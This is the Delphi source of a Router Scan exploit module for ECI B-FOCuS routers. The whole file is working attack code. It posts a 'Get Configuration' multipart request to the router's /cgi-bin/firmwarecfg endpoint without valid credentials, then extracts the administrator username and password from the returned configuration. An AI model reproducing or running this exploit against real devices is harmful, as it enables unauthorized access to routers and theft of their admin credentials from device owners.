// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://securityvulns.ru/Jdocument286.html

function TRouter.Exploit_ECI_BFOCuS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
const
  Boundary = '----RouterScan-FormBoundary-1234567890';
var
  Code: Integer;
  A: AnsiString;
  M: TMemoryStream;
begin
  // Affected:
  // ECI B-FOCuS
  Result := False;
  if ServerName <> '' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  A:=
  '--'+Boundary+#13#10+
  'Content-Disposition: form-data; name="config"'#13#10#13#10+
  'Get Configuration'#13#10+
  '--'+Boundary+'--'+#13#10;

  M := TMemoryStream.Create;
  AnsiToStream(A, M);
  if PostHTTPEx('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/firmwarecfg',
  M, 'multipart/form-data; boundary=' + Boundary,
  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    Tmp := DeleteBetween(S, '<security>', '</security>');
    AuthUser := DeleteBetween(Tmp, '<username>', '</username>');
    AuthPass := DeleteBetween(Tmp, '<password>', '</password>');
    if AuthUser <> '' then
      Result := True;
  end;
  M.Free;
end;
